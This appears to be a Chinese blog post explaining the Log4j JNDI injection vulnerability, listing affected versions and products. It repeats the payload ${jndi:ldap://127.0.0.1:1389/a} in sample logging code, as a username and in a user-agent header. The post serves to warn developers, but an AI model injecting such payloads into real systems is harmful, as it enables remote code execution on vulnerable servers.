Log4j今天被曝出严重漏洞。Log4j和Logback作为Java界日志工具的杠杆,几乎一统江湖,影响不小。比如ApacheStruts2、ApacheSolr、ApacheDruid、ApacheFlink、Minecraft、iCloud的整个生态都会受到影响。受影响的版本从2.0到2.14.1,跨度比较大。2.0<=Apachelog4j<=2.14.1赶紧看看是不是中招了。通过Debuglog4j代码,终于定位到问题代码。可以看出,一个日志组件实现的功能远比我们平时使用的要多。如果用户打印下面的日志。logger.error("${jndi:ldap://127.0.0.1:1389/a}");然后会触发JndiLookup.java中的方法主动发起连接。通过精心构造的Playload,可以允许攻击者执行任何代码。这是非常危险的。经过测试,即使使用占位符而不是拼接字符串,也无法避免这个问题。例如,用户在登录页面输入${jndi:ldap://127.0.0.1:1389/a},不进行过滤,在后台打印用户名变量,就会触发该漏洞。publicstaticvoidmain(String[]args){Stringusername="${jndi:ldap://127.0.0.1:1389/a}";logger.error("Username:{}",username);}它的作用存在于各方面,一旦你打印了一些东西并且它可以构建,那就有问题了。例如,如果您从http标头中打印useragent,那么我们就可以将有效载荷填充到其中。stringuserAgent=he.getRequestHeader("user-agent");log.info("RequestUserAgent:"+userAgent);Stringresponse="
